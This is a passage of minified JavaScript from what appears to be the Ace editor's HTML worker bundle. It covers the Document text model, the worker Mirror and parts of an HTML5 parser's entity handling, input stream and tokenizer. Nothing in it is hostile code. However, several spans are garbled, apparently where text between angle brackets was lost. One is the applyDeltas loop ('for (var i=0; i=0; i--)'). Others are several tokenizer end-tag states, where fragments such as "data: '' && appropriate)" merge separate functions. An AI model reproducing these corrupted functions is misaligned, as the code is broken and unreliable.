"\n"; this._signal("changeNewLineMode"); }; this.getNewLineCharacter = function() { switch (this.$newLineMode) { case "windows": return "\r\n"; case "unix": return "\n"; default: return this.$autoNewLine || "\n"; } }; this.$autoNewLine = ""; this.$newLineMode = "auto"; this.setNewLineMode = function(newLineMode) { if (this.$newLineMode === newLineMode) return; this.$newLineMode = newLineMode; this._signal("changeNewLineMode"); }; this.getNewLineMode = function() { return this.$newLineMode; }; this.isNewLine = function(text) { return (text == "\r\n" || text == "\r" || text == "\n"); }; this.getLine = function(row) { return this.$lines[row] || ""; }; this.getLines = function(firstRow, lastRow) { return this.$lines.slice(firstRow, lastRow + 1); }; this.getAllLines = function() { return this.getLines(0, this.getLength()); }; this.getLength = function() { return this.$lines.length; }; this.getTextRange = function(range) { return this.getLinesForRange(range).join(this.getNewLineCharacter()); }; this.getLinesForRange = function(range) { var lines; if (range.start.row === range.end.row) { lines = [this.getLine(range.start.row).substring(range.start.column, range.end.column)]; } else { lines = this.getLines(range.start.row, range.end.row); lines[0] = (lines[0] || "").substring(range.start.column); var l = lines.length - 1; if (range.end.row - range.start.row == l) lines[l] = lines[l].substring(0, range.end.column); } return lines; }; this.insertLines = function(row, lines) { console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."); return this.insertFullLines(row, lines); }; this.removeLines = function(firstRow, lastRow) { console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."); return this.removeFullLines(firstRow, lastRow); }; this.insertNewLine = function(position) { console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, [\'\', \'\']) instead."); return this.insertMergedLines(position, ["", ""]); }; this.insert = function(position, text) { if (this.getLength() <= 1) this.$detectNewLine(text); return this.insertMergedLines(position, this.$split(text)); }; this.insertInLine = function(position, text) { var start = this.clippedPos(position.row, position.column); var end = this.pos(position.row, position.column + text.length); this.applyDelta({ start: start, end: end, action: "insert", lines: [text] }, true); return this.clonePos(end); }; this.clippedPos = function(row, column) { var length = this.getLength(); if (row === undefined) { row = length; } else if (row < 0) { row = 0; } else if (row >= length) { row = length - 1; column = undefined; } var line = this.getLine(row); if (column == undefined) column = line.length; column = Math.min(Math.max(column, 0), line.length); return {row: row, column: column}; }; this.clonePos = function(pos) { return {row: pos.row, column: pos.column}; }; this.pos = function(row, column) { return {row: row, column: column}; }; this.$clipPosition = function(position) { var length = this.getLength(); if (position.row >= length) { position.row = Math.max(0, length - 1); position.column = this.getLine(length - 1).length; } else { position.row = Math.max(0, position.row); position.column = Math.min(Math.max(position.column, 0), this.getLine(position.row).length); } return position; }; this.insertFullLines = function(row, lines) { row = Math.min(Math.max(row, 0), this.getLength()); var column = 0; if (row < this.getLength()) { lines = lines.concat([""]); column = 0; } else { lines = [""].concat(lines); row--; column = this.$lines[row].length; } this.insertMergedLines({row: row, column: column}, lines); }; this.insertMergedLines = function(position, lines) { var start = this.clippedPos(position.row, position.column); var end = { row: start.row + lines.length - 1, column: (lines.length == 1 ? start.column : 0) + lines[lines.length - 1].length }; this.applyDelta({ start: start, end: end, action: "insert", lines: lines }); return this.clonePos(end); }; this.remove = function(range) { var start = this.clippedPos(range.start.row, range.start.column); var end = this.clippedPos(range.end.row, range.end.column); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }); return this.clonePos(start); }; this.removeInLine = function(row, startColumn, endColumn) { var start = this.clippedPos(row, startColumn); var end = this.clippedPos(row, endColumn); this.applyDelta({ start: start, end: end, action: "remove", lines: this.getLinesForRange({start: start, end: end}) }, true); return this.clonePos(start); }; this.removeFullLines = function(firstRow, lastRow) { firstRow = Math.min(Math.max(0, firstRow), this.getLength() - 1); lastRow = Math.min(Math.max(0, lastRow ), this.getLength() - 1); var deleteFirstNewLine = lastRow == this.getLength() - 1 && firstRow > 0; var deleteLastNewLine = lastRow < this.getLength() - 1; var startRow = ( deleteFirstNewLine ? firstRow - 1 : firstRow ); var startCol = ( deleteFirstNewLine ? this.getLine(startRow).length : 0 ); var endRow = ( deleteLastNewLine ? lastRow + 1 : lastRow ); var endCol = ( deleteLastNewLine ? 0 : this.getLine(endRow).length ); var range = new Range(startRow, startCol, endRow, endCol); var deletedLines = this.$lines.slice(firstRow, lastRow + 1); this.applyDelta({ start: range.start, end: range.end, action: "remove", lines: this.getLinesForRange(range) }); return deletedLines; }; this.removeNewLine = function(row) { if (row < this.getLength() - 1 && row >= 0) { this.applyDelta({ start: this.pos(row, this.getLine(row).length), end: this.pos(row + 1, 0), action: "remove", lines: ["", ""] }); } }; this.replace = function(range, text) { if (!(range instanceof Range)) range = Range.fromPoints(range.start, range.end); if (text.length === 0 && range.isEmpty()) return range.start; if (text == this.getTextRange(range)) return range.end; this.remove(range); var end; if (text) { end = this.insert(range.start, text); } else { end = range.start; } return end; }; this.applyDeltas = function(deltas) { for (var i=0; i=0; i--) { this.revertDelta(deltas[i]); } }; this.applyDelta = function(delta, doNotValidate) { var isInsert = delta.action == "insert"; if (isInsert ? delta.lines.length <= 1 && !delta.lines[0] : !Range.comparePoints(delta.start, delta.end)) { return; } if (isInsert && delta.lines.length > 20000) this.$splitAndapplyLargeDelta(delta, 20000); applyDelta(this.$lines, delta, doNotValidate); this._signal("change", delta); }; this.$splitAndapplyLargeDelta = function(delta, MAX) { var lines = delta.lines; var l = lines.length; var row = delta.start.row; var column = delta.start.column; var from = 0, to = 0; do { from = to; to += MAX - 1; var chunk = lines.slice(from, to); if (to > l) { delta.lines = chunk; delta.start.row = row + from; delta.start.column = column; break; } chunk.push(""); this.applyDelta({ start: this.pos(row + from, column), end: this.pos(row + to, column = 0), action: delta.action, lines: chunk }, true); } while(true); }; this.revertDelta = function(delta) { this.applyDelta({ start: this.clonePos(delta.start), end: this.clonePos(delta.end), action: (delta.action == "insert" ? "remove" : "insert"), lines: delta.lines.slice() }); }; this.indexToPosition = function(index, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; for (var i = startRow || 0, l = lines.length; i < l; i++) { index -= lines[i].length + newlineLength; if (index < 0) return {row: i, column: index + lines[i].length + newlineLength}; } return {row: l-1, column: lines[l-1].length}; }; this.positionToIndex = function(pos, startRow) { var lines = this.$lines || this.getAllLines(); var newlineLength = this.getNewLineCharacter().length; var index = 0; var row = Math.min(pos.row, lines.length); for (var i = startRow || 0; i < row; ++i) index += lines[i].length + newlineLength; return index + pos.column; }; }).call(Document.prototype); exports.Document = Document; }); ace.define("ace/worker/mirror",["require","exports","module","ace/range","ace/document","ace/lib/lang"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var Document = require("../document").Document; var lang = require("../lib/lang"); var Mirror = exports.Mirror = function(sender) { this.sender = sender; var doc = this.doc = new Document(""); var deferredUpdate = this.deferredUpdate = lang.delayedCall(this.onUpdate.bind(this)); var _self = this; sender.on("change", function(e) { var data = e.data; if (data[0].start) { doc.applyDeltas(data); } else { for (var i = 0; i < data.length; i += 2) { if (Array.isArray(data[i+1])) { var d = {action: "insert", start: data[i], lines: data[i+1]}; } else { var d = {action: "remove", start: data[i], end: data[i+1]}; } doc.applyDelta(d, true); } } if (_self.$timeout) return deferredUpdate.schedule(_self.$timeout); _self.onUpdate(); }); }; (function() { this.$timeout = 500; this.setTimeout = function(timeout) { this.$timeout = timeout; }; this.setValue = function(value) { this.doc.setValue(value); this.deferredUpdate.schedule(this.$timeout); }; this.getValue = function(callbackId) { this.sender.callback(this.doc.getValue(), callbackId); }; this.onUpdate = function() { }; this.isPending = function() { return this.deferredUpdate.isPending(); }; }).call(Mirror.prototype); }); ace.define("ace/mode/html/saxparser",["require","exports","module"], function(require, exports, module) { module.exports = (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error("Cannot find module '"+o+"'")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o= 0; i--) { var node = this.elements[i]; if (node.localName === localName) return true; if (isMarker(node)) return false; } }; ElementStack.prototype.push = function(item) { this.elements.push(item); }; ElementStack.prototype.pushHtmlElement = function(item) { this.rootNode = item.node; this.push(item); }; ElementStack.prototype.pushHeadElement = function(item) { this.headElement = item.node; this.push(item); }; ElementStack.prototype.pushBodyElement = function(item) { this.bodyElement = item.node; this.push(item); }; ElementStack.prototype.pop = function() { return this.elements.pop(); }; ElementStack.prototype.remove = function(item) { this.elements.splice(this.elements.indexOf(item), 1); }; ElementStack.prototype.popUntilPopped = function(localName) { var element; do { element = this.pop(); } while (element.localName != localName); }; ElementStack.prototype.popUntilTableScopeMarker = function() { while (!isTableScopeMarker(this.top)) this.pop(); }; ElementStack.prototype.popUntilTableBodyScopeMarker = function() { while (!isTableBodyScopeMarker(this.top)) this.pop(); }; ElementStack.prototype.popUntilTableRowScopeMarker = function() { while (!isTableRowScopeMarker(this.top)) this.pop(); }; ElementStack.prototype.item = function(index) { return this.elements[index]; }; ElementStack.prototype.contains = function(element) { return this.elements.indexOf(element) !== -1; }; ElementStack.prototype.inScope = function(localName) { return this._inScope(localName, isScopeMarker); }; ElementStack.prototype.inListItemScope = function(localName) { return this._inScope(localName, isListItemScopeMarker); }; ElementStack.prototype.inTableScope = function(localName) { return this._inScope(localName, isTableScopeMarker); }; ElementStack.prototype.inButtonScope = function(localName) { return this._inScope(localName, isButtonScopeMarker); }; ElementStack.prototype.inSelectScope = function(localName) { return this._inScope(localName, isSelectScopeMarker); }; ElementStack.prototype.hasNumberedHeaderElementInScope = function() { for (var i = this.elements.length - 1; i >= 0; i--) { var node = this.elements[i]; if (node.isNumberedHeader()) return true; if (isScopeMarker(node)) return false; } }; ElementStack.prototype.furthestBlockForFormattingElement = function(element) { var furthestBlock = null; for (var i = this.elements.length - 1; i >= 0; i--) { var node = this.elements[i]; if (node.node === element) break; if (node.isSpecial()) furthestBlock = node; } return furthestBlock; }; ElementStack.prototype.findIndex = function(localName) { for (var i = this.elements.length - 1; i >= 0; i--) { if (this.elements[i].localName == localName) return i; } return -1; }; ElementStack.prototype.remove_openElements_until = function(callback) { var finished = false; var element; while (!finished) { element = this.elements.pop(); finished = callback(element); } return element; }; Object.defineProperty(ElementStack.prototype, 'top', { get: function() { return this.elements[this.elements.length - 1]; } }); Object.defineProperty(ElementStack.prototype, 'length', { get: function() { return this.elements.length; } }); exports.ElementStack = ElementStack; }, {}], 2:[function(_dereq_,module,exports){ var entities = _dereq_('html5-entities'); var InputStream = _dereq_('./InputStream').InputStream; var namedEntityPrefixes = {}; Object.keys(entities).forEach(function (entityKey) { for (var i = 0; i < entityKey.length; i++) { namedEntityPrefixes[entityKey.substring(0, i + 1)] = true; } }); function isAlphaNumeric(c) { return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'); } function isHexDigit(c) { return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); } function isDecimalDigit(c) { return (c >= '0' && c <= '9'); } var EntityParser = {}; EntityParser.consumeEntity = function(buffer, tokenizer, additionalAllowedCharacter) { var decodedCharacter = ''; var consumedCharacters = ''; var ch = buffer.char(); if (ch === InputStream.EOF) return false; consumedCharacters += ch; if (ch == '\t' || ch == '\n' || ch == '\v' || ch == ' ' || ch == '<' || ch == '&') { buffer.unget(consumedCharacters); return false; } if (additionalAllowedCharacter === ch) { buffer.unget(consumedCharacters); return false; } if (ch == '#') { ch = buffer.shift(1); if (ch === InputStream.EOF) { tokenizer._parseError("expected-numeric-entity-but-got-eof"); buffer.unget(consumedCharacters); return false; } consumedCharacters += ch; var radix = 10; var isDigit = isDecimalDigit; if (ch == 'x' || ch == 'X') { radix = 16; isDigit = isHexDigit; ch = buffer.shift(1); if (ch === InputStream.EOF) { tokenizer._parseError("expected-numeric-entity-but-got-eof"); buffer.unget(consumedCharacters); return false; } consumedCharacters += ch; } if (isDigit(ch)) { var code = ''; while (ch !== InputStream.EOF && isDigit(ch)) { code += ch; ch = buffer.char(); } code = parseInt(code, radix); var replacement = this.replaceEntityNumbers(code); if (replacement) { tokenizer._parseError("invalid-numeric-entity-replaced"); code = replacement; } if (code > 0xFFFF && code <= 0x10FFFF) { code -= 0x10000; var first = ((0xffc00 & code) >> 10) + 0xD800; var second = (0x3ff & code) + 0xDC00; decodedCharacter = String.fromCharCode(first, second); } else decodedCharacter = String.fromCharCode(code); if (ch !== ';') { tokenizer._parseError("numeric-entity-without-semicolon"); buffer.unget(ch); } return decodedCharacter; } buffer.unget(consumedCharacters); tokenizer._parseError("expected-numeric-entity"); return false; } if ((ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { var mostRecentMatch = ''; while (namedEntityPrefixes[consumedCharacters]) { if (entities[consumedCharacters]) { mostRecentMatch = consumedCharacters; } if (ch == ';') break; ch = buffer.char(); if (ch === InputStream.EOF) break; consumedCharacters += ch; } if (!mostRecentMatch) { tokenizer._parseError("expected-named-entity"); buffer.unget(consumedCharacters); return false; } decodedCharacter = entities[mostRecentMatch]; if (ch === ';' || !additionalAllowedCharacter || !(isAlphaNumeric(ch) || ch === '=')) { if (consumedCharacters.length > mostRecentMatch.length) { buffer.unget(consumedCharacters.substring(mostRecentMatch.length)); } if (ch !== ';') { tokenizer._parseError("named-entity-without-semicolon"); } return decodedCharacter; } buffer.unget(consumedCharacters); return false; } }; EntityParser.replaceEntityNumbers = function(c) { switch(c) { case 0x00: return 0xFFFD; // REPLACEMENT CHARACTER case 0x13: return 0x0010; // Carriage return case 0x80: return 0x20AC; // EURO SIGN case 0x81: return 0x0081; // case 0x82: return 0x201A; // SINGLE LOW-9 QUOTATION MARK case 0x83: return 0x0192; // LATIN SMALL LETTER F WITH HOOK case 0x84: return 0x201E; // DOUBLE LOW-9 QUOTATION MARK case 0x85: return 0x2026; // HORIZONTAL ELLIPSIS case 0x86: return 0x2020; // DAGGER case 0x87: return 0x2021; // DOUBLE DAGGER case 0x88: return 0x02C6; // MODIFIER LETTER CIRCUMFLEX ACCENT case 0x89: return 0x2030; // PER MILLE SIGN case 0x8A: return 0x0160; // LATIN CAPITAL LETTER S WITH CARON case 0x8B: return 0x2039; // SINGLE LEFT-POINTING ANGLE QUOTATION MARK case 0x8C: return 0x0152; // LATIN CAPITAL LIGATURE OE case 0x8D: return 0x008D; // case 0x8E: return 0x017D; // LATIN CAPITAL LETTER Z WITH CARON case 0x8F: return 0x008F; // case 0x90: return 0x0090; // case 0x91: return 0x2018; // LEFT SINGLE QUOTATION MARK case 0x92: return 0x2019; // RIGHT SINGLE QUOTATION MARK case 0x93: return 0x201C; // LEFT DOUBLE QUOTATION MARK case 0x94: return 0x201D; // RIGHT DOUBLE QUOTATION MARK case 0x95: return 0x2022; // BULLET case 0x96: return 0x2013; // EN DASH case 0x97: return 0x2014; // EM DASH case 0x98: return 0x02DC; // SMALL TILDE case 0x99: return 0x2122; // TRADE MARK SIGN case 0x9A: return 0x0161; // LATIN SMALL LETTER S WITH CARON case 0x9B: return 0x203A; // SINGLE RIGHT-POINTING ANGLE QUOTATION MARK case 0x9C: return 0x0153; // LATIN SMALL LIGATURE OE case 0x9D: return 0x009D; // case 0x9E: return 0x017E; // LATIN SMALL LETTER Z WITH CARON case 0x9F: return 0x0178; // LATIN CAPITAL LETTER Y WITH DIAERESIS default: if ((c >= 0xD800 && c <= 0xDFFF) || c > 0x10FFFF) { return 0xFFFD; } else if ((c >= 0x0001 && c <= 0x0008) || (c >= 0x000E && c <= 0x001F) || (c >= 0x007F && c <= 0x009F) || (c >= 0xFDD0 && c <= 0xFDEF) || c == 0x000B || c == 0xFFFE || c == 0x1FFFE || c == 0x2FFFFE || c == 0x2FFFF || c == 0x3FFFE || c == 0x3FFFF || c == 0x4FFFE || c == 0x4FFFF || c == 0x5FFFE || c == 0x5FFFF || c == 0x6FFFE || c == 0x6FFFF || c == 0x7FFFE || c == 0x7FFFF || c == 0x8FFFE || c == 0x8FFFF || c == 0x9FFFE || c == 0x9FFFF || c == 0xAFFFE || c == 0xAFFFF || c == 0xBFFFE || c == 0xBFFFF || c == 0xCFFFE || c == 0xCFFFF || c == 0xDFFFE || c == 0xDFFFF || c == 0xEFFFE || c == 0xEFFFF || c == 0xFFFFE || c == 0xFFFFF || c == 0x10FFFE || c == 0x10FFFF) { return c; } } }; exports.EntityParser = EntityParser; }, {"./InputStream":3,"html5-entities":12}], 3:[function(_dereq_,module,exports){ function InputStream() { this.data = ''; this.start = 0; this.committed = 0; this.eof = false; this.lastLocation = {line: 0, column: 0}; } InputStream.EOF = -1; InputStream.DRAIN = -2; InputStream.prototype = { slice: function() { if(this.start >= this.data.length) { if(!this.eof) throw InputStream.DRAIN; return InputStream.EOF; } return this.data.slice(this.start, this.data.length); }, char: function() { if(!this.eof && this.start >= this.data.length - 1) throw InputStream.DRAIN; if(this.start >= this.data.length) { return InputStream.EOF; } var ch = this.data[this.start++]; if (ch === '\r') ch = '\n'; return ch; }, advance: function(amount) { this.start += amount; if(this.start >= this.data.length) { if(!this.eof) throw InputStream.DRAIN; return InputStream.EOF; } else { if(this.committed > this.data.length / 2) { this.lastLocation = this.location(); this.data = this.data.slice(this.committed); this.start = this.start - this.committed; this.committed = 0; } } }, matchWhile: function(re) { if(this.eof && this.start >= this.data.length ) return ''; var r = new RegExp("^"+re+"+"); var m = r.exec(this.slice()); if(m) { if(!this.eof && m[0].length == this.data.length - this.start) throw InputStream.DRAIN; this.advance(m[0].length); return m[0]; } else { return ''; } }, matchUntil: function(re) { var m, s; s = this.slice(); if(s === InputStream.EOF) { return ''; } else if(m = new RegExp(re + (this.eof ? "|$" : "")).exec(s)) { var t = this.data.slice(this.start, this.start + m.index); this.advance(m.index); return t.replace(/\r/g, '\n').replace(/\n{2,}/g, '\n'); } else { throw InputStream.DRAIN; } }, append: function(data) { this.data += data; }, shift: function(n) { if(!this.eof && this.start + n >= this.data.length) throw InputStream.DRAIN; if(this.eof && this.start >= this.data.length) return InputStream.EOF; var d = this.data.slice(this.start, this.start + n).toString(); this.advance(Math.min(n, this.data.length - this.start)); return d; }, peek: function(n) { if(!this.eof && this.start + n >= this.data.length) throw InputStream.DRAIN; if(this.eof && this.start >= this.data.length) return InputStream.EOF; return this.data.slice(this.start, Math.min(this.start + n, this.data.length)).toString(); }, length: function() { return this.data.length - this.start - 1; }, unget: function(d) { if(d === InputStream.EOF) return; this.start -= (d.length); }, undo: function() { this.start = this.committed; }, commit: function() { this.committed = this.start; }, location: function() { var lastLine = this.lastLocation.line; var lastColumn = this.lastLocation.column; var read = this.data.slice(0, this.committed); var newlines = read.match(/\n/g); var line = newlines ? lastLine + newlines.length : lastLine; var column = newlines ? read.length - read.lastIndexOf('\n') - 1 : lastColumn + read.length; return {line: line, column: column}; } }; exports.InputStream = InputStream; }, {}], 4:[function(_dereq_,module,exports){ var SpecialElements = { "http://www.w3.org/1999/xhtml": [ 'address', 'applet', 'area', 'article', 'aside', 'base', 'basefont', 'bgsound', 'blockquote', 'body', 'br', 'button', 'caption', 'center', 'col', 'colgroup', 'dd', 'details', 'dir', 'div', 'dl', 'dt', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'iframe', 'img', 'input', 'isindex', 'li', 'link', 'listing', 'main', 'marquee', 'menu', 'menuitem', 'meta', 'nav', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'p', 'param', 'plaintext', 'pre', 'script', 'section', 'select', 'source', 'style', 'summary', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'track', 'ul', 'wbr', 'xmp' ], "http://www.w3.org/1998/Math/MathML": [ 'mi', 'mo', 'mn', 'ms', 'mtext', 'annotation-xml' ], "http://www.w3.org/2000/svg": [ 'foreignObject', 'desc', 'title' ] }; function StackItem(namespaceURI, localName, attributes, node) { this.localName = localName; this.namespaceURI = namespaceURI; this.attributes = attributes; this.node = node; } StackItem.prototype.isSpecial = function() { return this.namespaceURI in SpecialElements && SpecialElements[this.namespaceURI].indexOf(this.localName) > -1; }; StackItem.prototype.isFosterParenting = function() { if (this.namespaceURI === "http://www.w3.org/1999/xhtml") { return this.localName === 'table' || this.localName === 'tbody' || this.localName === 'tfoot' || this.localName === 'thead' || this.localName === 'tr'; } return false; }; StackItem.prototype.isNumberedHeader = function() { if (this.namespaceURI === "http://www.w3.org/1999/xhtml") { return this.localName === 'h1' || this.localName === 'h2' || this.localName === 'h3' || this.localName === 'h4' || this.localName === 'h5' || this.localName === 'h6'; } return false; }; StackItem.prototype.isForeign = function() { return this.namespaceURI != "http://www.w3.org/1999/xhtml"; }; function getAttribute(item, name) { for (var i = 0; i < item.attributes.length; i++) { if (item.attributes[i].nodeName == name) return item.attributes[i].nodeValue; } return null; } StackItem.prototype.isHtmlIntegrationPoint = function() { if (this.namespaceURI === "http://www.w3.org/1998/Math/MathML") { if (this.localName !== "annotation-xml") return false; var encoding = getAttribute(this, 'encoding'); if (!encoding) return false; encoding = encoding.toLowerCase(); return encoding === "text/html" || encoding === "application/xhtml+xml"; } if (this.namespaceURI === "http://www.w3.org/2000/svg") { return this.localName === "foreignObject" || this.localName === "desc" || this.localName === "title"; } return false; }; StackItem.prototype.isMathMLTextIntegrationPoint = function() { if (this.namespaceURI === "http://www.w3.org/1998/Math/MathML") { return this.localName === "mi" || this.localName === "mo" || this.localName === "mn" || this.localName === "ms" || this.localName === "mtext"; } return false; }; exports.StackItem = StackItem; }, {}], 5:[function(_dereq_,module,exports){ var InputStream = _dereq_('./InputStream').InputStream; var EntityParser = _dereq_('./EntityParser').EntityParser; function isWhitespace(c){ return c === " " || c === "\n" || c === "\t" || c === "\r" || c === "\f"; } function isAlpha(c) { return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'); } function Tokenizer(tokenHandler) { this._tokenHandler = tokenHandler; this._state = Tokenizer.DATA; this._inputStream = new InputStream(); this._currentToken = null; this._temporaryBuffer = ''; this._additionalAllowedCharacter = ''; } Tokenizer.prototype._parseError = function(code, args) { this._tokenHandler.parseError(code, args); }; Tokenizer.prototype._emitToken = function(token) { if (token.type === 'StartTag') { for (var i = 1; i < token.data.length; i++) { if (!token.data[i].nodeName) token.data.splice(i--, 1); } } else if (token.type === 'EndTag') { if (token.selfClosing) { this._parseError('self-closing-flag-on-end-tag'); } if (token.data.length !== 0) { this._parseError('attributes-in-end-tag'); } } this._tokenHandler.processToken(token); if (token.type === 'StartTag' && token.selfClosing && !this._tokenHandler.isSelfClosingFlagAcknowledged()) { this._parseError('non-void-element-with-trailing-solidus', {name: token.name}); } }; Tokenizer.prototype._emitCurrentToken = function() { this._state = Tokenizer.DATA; this._emitToken(this._currentToken); }; Tokenizer.prototype._currentAttribute = function() { return this._currentToken.data[this._currentToken.data.length - 1]; }; Tokenizer.prototype.setState = function(state) { this._state = state; }; Tokenizer.prototype.tokenize = function(source) { Tokenizer.DATA = data_state; Tokenizer.RCDATA = rcdata_state; Tokenizer.RAWTEXT = rawtext_state; Tokenizer.SCRIPT_DATA = script_data_state; Tokenizer.PLAINTEXT = plaintext_state; this._state = Tokenizer.DATA; this._inputStream.append(source); this._tokenHandler.startTokenization(this); this._inputStream.eof = true; var tokenizer = this; while (this._state.call(this, this._inputStream)); function data_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._emitToken({type: 'EOF', data: null}); return false; } else if (data === '&') { tokenizer.setState(character_reference_in_data_state); } else if (data === '<') { tokenizer.setState(tag_open_state); } else if (data === '\u0000') { tokenizer._emitToken({type: 'Characters', data: data}); buffer.commit(); } else { var chars = buffer.matchUntil("&|<|\u0000"); tokenizer._emitToken({type: 'Characters', data: data + chars}); buffer.commit(); } return true; } function character_reference_in_data_state(buffer) { var character = EntityParser.consumeEntity(buffer, tokenizer); tokenizer.setState(data_state); tokenizer._emitToken({type: 'Characters', data: character || '&'}); return true; } function rcdata_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._emitToken({type: 'EOF', data: null}); return false; } else if (data === '&') { tokenizer.setState(character_reference_in_rcdata_state); } else if (data === '<') { tokenizer.setState(rcdata_less_than_sign_state); } else if (data === "\u0000") { tokenizer._parseError("invalid-codepoint"); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); buffer.commit(); } else { var chars = buffer.matchUntil("&|<|\u0000"); tokenizer._emitToken({type: 'Characters', data: data + chars}); buffer.commit(); } return true; } function character_reference_in_rcdata_state(buffer) { var character = EntityParser.consumeEntity(buffer, tokenizer); tokenizer.setState(rcdata_state); tokenizer._emitToken({type: 'Characters', data: character || '&'}); return true; } function rawtext_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._emitToken({type: 'EOF', data: null}); return false; } else if (data === '<') { tokenizer.setState(rawtext_less_than_sign_state); } else if (data === "\u0000") { tokenizer._parseError("invalid-codepoint"); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); buffer.commit(); } else { var chars = buffer.matchUntil("<|\u0000"); tokenizer._emitToken({type: 'Characters', data: data + chars}); } return true; } function plaintext_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._emitToken({type: 'EOF', data: null}); return false; } else if (data === "\u0000") { tokenizer._parseError("invalid-codepoint"); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); buffer.commit(); } else { var chars = buffer.matchUntil("\u0000"); tokenizer._emitToken({type: 'Characters', data: data + chars}); } return true; } function script_data_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._emitToken({type: 'EOF', data: null}); return false; } else if (data === '<') { tokenizer.setState(script_data_less_than_sign_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); buffer.commit(); } else { var chars = buffer.matchUntil("<|\u0000"); tokenizer._emitToken({type: 'Characters', data: data + chars}); } return true; } function rcdata_less_than_sign_state(buffer) { var data = buffer.char(); if (data === "/") { this._temporaryBuffer = ''; tokenizer.setState(rcdata_end_tag_open_state); } else { tokenizer._emitToken({type: 'Characters', data: '<'}); buffer.unget(data); tokenizer.setState(rcdata_state); } return true; } function rcdata_end_tag_open_state(buffer) { var data = buffer.char(); if (isAlpha(data)) { this._temporaryBuffer += data; tokenizer.setState(rcdata_end_tag_name_state); } else { tokenizer._emitToken({type: 'Characters', data: '' && appropriate) { tokenizer._currentToken = {type: 'EndTag', name: this._temporaryBuffer, data: [], selfClosing: false}; tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else if (isAlpha(data)) { this._temporaryBuffer += data; buffer.commit(); } else { tokenizer._emitToken({type: 'Characters', data: '' && appropriate) { tokenizer._currentToken = {type: 'EndTag', name: this._temporaryBuffer, data: [], selfClosing: false}; tokenizer._emitCurrentToken(); tokenizer.setState(data_state); } else if (isAlpha(data)) { this._temporaryBuffer += data; buffer.commit(); } else { tokenizer._emitToken({type: 'Characters', data: '' && appropriate) { tokenizer._currentToken = {type: 'EndTag', name: 'script', data: [], selfClosing: false}; tokenizer._emitCurrentToken(); } else if (isAlpha(data)) { this._temporaryBuffer += data; buffer.commit(); } else { tokenizer._emitToken({type: 'Characters', data: '') { tokenizer._emitToken({type: 'Characters', data: '>'}); tokenizer.setState(script_data_state); } else if (data === '\u0000') { tokenizer._parseError("invalid-codepoint"); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); tokenizer.setState(script_data_escaped_state); } else { tokenizer._emitToken({type: 'Characters', data: data}); tokenizer.setState(script_data_escaped_state); } return true; } function script_data_escaped_less_then_sign_state(buffer) { var data = buffer.char(); if (data === '/') { this._temporaryBuffer = ''; tokenizer.setState(script_data_escaped_end_tag_open_state); } else if (isAlpha(data)) { tokenizer._emitToken({type: 'Characters', data: '<' + data}); this._temporaryBuffer = data; tokenizer.setState(script_data_double_escape_start_state); } else { tokenizer._emitToken({type: 'Characters', data: '<'}); buffer.unget(data); tokenizer.setState(script_data_escaped_state); } return true; } function script_data_escaped_end_tag_open_state(buffer) { var data = buffer.char(); if (isAlpha(data)) { this._temporaryBuffer = data; tokenizer.setState(script_data_escaped_end_tag_name_state); } else { tokenizer._emitToken({type: 'Characters', data: '' && appropriate) { tokenizer._currentToken = {type: 'EndTag', name: 'script', data: [], selfClosing: false}; tokenizer.setState(data_state); tokenizer._emitCurrentToken(); } else if (isAlpha(data)) { this._temporaryBuffer += data; buffer.commit(); } else { tokenizer._emitToken({type: 'Characters', data: '') { tokenizer._emitToken({type: 'Characters', data: data}); if (this._temporaryBuffer.toLowerCase() === 'script') tokenizer.setState(script_data_double_escaped_state); else tokenizer.setState(script_data_escaped_state); } else if (isAlpha(data)) { tokenizer._emitToken({type: 'Characters', data: data}); this._temporaryBuffer += data; buffer.commit(); } else { buffer.unget(data); tokenizer.setState(script_data_escaped_state); } return true; } function script_data_double_escaped_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { tokenizer._parseError('eof-in-script'); buffer.unget(data); tokenizer.setState(data_state); } else if (data === '-') { tokenizer._emitToken({type: 'Characters', data: '-'}); tokenizer.setState(script_data_double_escaped_dash_state); } else if (data === '<') { tokenizer._emitToken({type: 'Characters', data: '<'}); tokenizer.setState(script_data_double_escaped_less_than_sign_state); } else if (data === '\u0000') { tokenizer._parseError('invalid-codepoint'); tokenizer._emitToken({type: 'Characters', data: '\uFFFD'}); buffer.commit(); } else { tokenizer._emitToken({type: 'Characters', data: data}); buffer.commit(); } return true; } function script_data_double_escaped_dash_state(buffer) { var data = buffer.char(); if (data === InputStream.EOF) { 